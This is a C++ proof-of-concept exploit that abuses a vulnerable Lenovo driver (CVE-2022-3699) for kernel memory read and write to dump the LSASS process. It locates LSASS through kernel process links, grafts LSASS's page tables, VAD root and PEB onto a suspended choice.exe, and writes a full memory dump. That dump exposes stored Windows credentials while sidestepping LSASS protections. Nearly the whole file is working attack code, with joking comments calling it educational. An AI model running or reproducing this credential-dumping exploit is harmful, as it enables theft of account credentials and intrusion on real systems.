#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <DbgHelp.h>
#include "LenovoMemoryMgr.h"

#pragma comment(lib, "dbghelp")

typedef NTSTATUS(WINAPI* pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);

BOOL SearchEprocessLinksForPid(LenovoMemoryMgr lm, UINT64 Pid, UINT64 SystemEprocess, PUINT64 lpTargetProcess) {
	BOOL bRes = FALSE;
	if (!lpTargetProcess) {
		return FALSE;
	}

	UINT64 ListIter = SystemEprocess + OFFSET_EPROCESS_LINKS;
	UINT64 ListHead = ListIter;
	while (TRUE) {
		
		bRes = lm.ReadVirtData((ListIter + 0x8), &ListIter);
		if (!bRes) {
			return FALSE;
		}

		if (ListIter == ListHead) {
			puts("Process not found in ActiveProcess links!");
			return FALSE;
		}

		UINT64 IterEprocessBase = ListIter - OFFSET_EPROCESS_LINKS;
		UINT64 IterPid = 0;

		bRes = lm.ReadVirtData((IterEprocessBase + OFFSET_EPROCESS_PID), &IterPid);
		if (!bRes) {
			return FALSE;
		}
		
		if (IterPid == Pid) {
			printf("Found EPROCESS : %llx - PID %llx\n", IterEprocessBase, IterPid);
			*lpTargetProcess = IterEprocessBase;
			return TRUE;
		}
	}
}

UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
	HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
	if (!hNtos) {
		return NULL;
	}

	PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
	initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
	FreeLibrary(hNtos);
	return (UINT64)initial_proc;
}

int main() {
	/*
	* A haiku for your troubles
	* 
	* janky PoC
	* educational purpose
	* probably bluescreen
	* 
	* 
	*/
	UINT64 qwLsassPid = 672;

// https://github.com/alfarom256/CVE-2022-3699
	LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();

	BOOL hasInit = lm.init();
	BOOL bRes = FALSE;

	if (!hasInit) {
		return -1;
	}

	UINT64 OurProcess = 0;
	UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
	printf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
	UINT64 SystemProc = 0;
	lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);


// Find the LSASS process

	UINT64 qwLsassEprocess = 0;
	bRes = SearchEprocessLinksForPid(lm, qwLsassPid, SystemProc, &qwLsassEprocess);
	if (!bRes) {
		puts("Could not find LSASS EPROCESS in EPROCESS links");
		return -1;
	}

// Find the newly created process that's suspended
	puts("Creating suspended process");
	STARTUPINFOA sa = { 0 };
	PROCESS_INFORMATION pi = { 0 };

	bRes = CreateProcessA("C:\\Windows\\System32\\choice.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &sa, &pi);
	if (!bRes) {
		printf("Failed to create suspended process - %x\n", GetLastError());
		return -1;
	}

	// sus
	UINT64 qwSusPid = pi.dwProcessId;
	UINT64 qwSuspendedEprocess = 0;


	bRes = SearchEprocessLinksForPid(lm, qwSusPid, SystemProc, &qwSuspendedEprocess);
	if (!bRes) {
		puts("Could not find Suspended EPROCESS in EPROCESS links");
		return -1;
	}

// copy the VadRoot, DirBase, and PEB from LSASS to the suspended process
	UINT64 DirBase = 0;
	UINT64 OldDirBase = 0;

	UINT64 VadRoot = 0;
	UINT64 OldVadRoot = 0;

	UINT64 LsassPeb = 0;
	UINT64 OldPeb = 0;

	printf("Suspended EPROCESS %llx\n", qwSuspendedEprocess);

	// MUH HARDCODED OFFSETS
	lm.ReadVirtData(qwLsassEprocess + 0x7d8, &VadRoot);
	lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);

	lm.ReadVirtData(qwLsassEprocess + 0x28, &DirBase);
	lm.ReadVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);

	lm.ReadVirtData(qwLsassEprocess + 0x550, &LsassPeb);
	lm.ReadVirtData(qwSuspendedEprocess + 0x550, &OldPeb);

	printf("LSASS VadRoot = %llx\n", VadRoot);
	printf("LSASS Peb = %llx\n", LsassPeb);

	puts("Copying VadRoot and Peb to Suspended Proc");

	lm.WriteVirtData(qwSuspendedEprocess + 0x28, &DirBase);
	lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &VadRoot);

	/*
	* this will sometimes fail
	* better to rewrite yourself
	* I am not good dev
	*/
	lm.WriteVirtData(qwSuspendedEprocess + 0x550, &LsassPeb);
		
	UINT64 tmp = 0;

	lm.ReadVirtData(qwSuspendedEprocess + 0x28, &tmp);
	printf("Suspended DirBase = %llx\n", tmp);

	lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &tmp);
	printf("Suspended VadRoot = %llx\n", tmp);
	
	lm.ReadVirtData(qwSuspendedEprocess + 0x550, &tmp);
	printf("Suspended Peb = %llx\n", tmp);	

	
// dump the suspended process	
	HANDLE hDump = CreateFileA("C:\\Users\\User\\Desktop\\sus.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hDump) {
		printf("Failed to create dump file for writing - %d\n", GetLastError());
		return -1;
	}

	UINT64 pebLdr_tmp = 0;
	SIZE_T dwBytesRead = 0;
	BOOL bRpm = FALSE;
	
	/*
	* MiniDump is bad
	* but PoC is lazy
	* I don't care bro lole
	*/
	bRes = MiniDumpWriteDump(pi.hProcess, pi.dwProcessId, hDump, MiniDumpWithFullMemory, NULL, NULL, NULL);
	if (!bRes) {
		printf("Failed to take a dump (have some dulcolax) - %x\n", GetLastError());
	}
	else {
		puts("Created minidump, restoring VadRoot before terminating [enter]");
	}

	
	lm.WriteVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);
	lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);
	lm.WriteVirtData(qwSuspendedEprocess + 0x550, &OldPeb);
	
	TerminateProcess(pi.hProcess, 0);
	lm.teardown();
	return 0;
}